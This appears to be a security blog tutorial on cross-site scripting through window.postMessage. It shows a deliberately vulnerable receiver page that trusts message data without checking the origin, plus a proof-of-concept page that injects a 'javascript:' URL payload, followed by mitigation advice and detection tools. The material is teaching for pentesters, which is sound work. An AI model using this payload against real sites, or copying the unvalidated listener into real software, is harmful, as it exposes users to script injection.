Exploiting PostMessage for cool XSS vulnerabilities

Manas Harsh
4 min readApr 22, 2024
Source:- Google

A lot of people who love to find XSS, usually miss PostMessage XSS even though there uses to be a possibility. So I thought to cover this topic here, which might help people who are looking for a simple resource.

Let’s understand first how PostMessage works. According to Mozilla:- The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it. There are different syntaxes in JS which defines PostMessage:-

postMessage(message)
postMessage(message, options)
postMessage(message, targetOrigin)
postMessage(message, targetOrigin, transfer)

In order to let the application understand the functionality, PostMessage has some parameters. Those parameters are as follows:-

message:- Data to be sent to the other window.

options:- An optional object containing a transfer field, and a optional targetOrigin field with a string which restricts the message to the limited targets only.

targetOrigin:- Specifies what the origin of this window must be for the event to be dispatched.

transfer:- A sequence of transferable objects that are transferred with the message.

Now when we have some idea about PostMessage, lets find out what goes wrong which leads to XSS. Lets look into this code:-

<html>
<head>
<title>site1</title>
<meta charset="utf-8" />
<script>

var child;
function openChild() {child = window.open('2.html', 'popup', 'height=300px, width=500px');

}
function sendMessage(){
let msg={url : "1.html"};
child.postMessage(msg,'*')
child.focus();
}</script>
</head>
<body>
<form>
<fieldset>
<input type='button' id='btnopen' value='Open child' onclick='openChild();' />
<input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' />
</fieldset>
</form>
</body>
</html>

If you will see the above code, there are two buttons:

  • The first one opens a popup containing 2.html through openChild() function
  • The second one sends a message through sendMessage() function. To do that a message is set defining msg variable and then calling postMessage(msg,'*')

Lets look at what other piece of code says:-

<html>
<head>
<title>site2</title>
<meta charset="utf-8" />
<script>
window.addEventListener("message", (event)=>{
document.getElementById("redirection").href=`${event.data.url}`;

});function closeMe() {
try {window.close();
} catch (e) { console.log(e) }
try {self.close();
} catch (e) { console.log(e) }}
</script>
</head>
<body>
<form>
<h1>Recipient of postMessage</h1>
<fieldset>
<a type='text' id='redirection' href=''>Go back</a>
<input type='button' id='btnCloseMe' value='Close me' onclick='closeMe();' />
</fieldset>

</form>
</body>
</html>

In this code:-

  • The link handles the back redirection. The href field changes according the data received with the listener window.addEventListener("message", (event). After receiving the message, the data in the event is read from event.data.url and passed to href.
  • The button closes the window calling the function closeMe()

With that, there are some more things which you need to take care of. There are some codes which contain:-

getDataFromEvent” : It is used to extract the data from the received message.

createFloatingPageElement” : This function is used to create an iframe inside the DOM.

Now coming back to point, exploitation part!

If PostMessage is implemented incorrectly or in a bad way, could lead to cross-site scripting vulnerabilities (XSS). In this case, 2.html is expecting a message without validating the origin, therefore we could host a webpage 3.html that will load 2.html as an iframe and the invoke the postMessage() function to manipulate the href value.

<html>
<head>
<title>XSS Exploitation</title>
<meta charset="utf-8" />


</head>
<body>

<iframe id="frame" src="2.html" ></iframe>

<script>

let msg={url : "javascript:prompt(XSS)"};
var iFrame = document.getElementById("frame")
iFrame.contentWindow.postMessage(msg, '*');

</script>
</body>
</html>

Here, the msg variable contains the data {url : "javascript:prompt(XSS)"};, it will be sent to 2.html. 2.html after execution, and will change the value in the <a href to the value of the msg.url. When a user clicks the Go back link, a XSS will be executed.

This is a very simple scenario and some of them could be really complexed. But for a start, this is to be one. As a pentester or a bug bounty hunter, it is very important to keep these points in mind. That’s where your Javascript knowledge comes in play. The more you understand it, the more you will become better in finding browser-based vulnerabilities.

For the mitigation part, here are some steps which Mozilla has suggested:-

  • Always specify an exact target origin, not *, when you use postMessage to send data to other windows. A malicious site can change the location of the window without your knowledge, and therefore it can intercept the data sent using postMessage.
  • If you do not expect to receive messages from other sites, do not add any event listeners for message events. This is a completely foolproof way to avoid security problems.
  • If you do expect to receive messages from other sites, always verify the sender’s identity using the origin and possibly source properties.

You can use below extensions and tools to find out if PostMessage is being used:-

  • PostMessage Tracker:- A browser extension
  • J2EEScan:- A burp extension, but it would be better if you download it from GitHub since it is updated.

Some references which can help you a lot:-

If you have come this far, thanks for the read. Share it with your connections so that someone learns something new. Sharing is caring!

Happy hacking ❤

--

--

Manas Harsh

Security Enginner | Synack Red Teamer | Writer | Learner, achiever & Contributor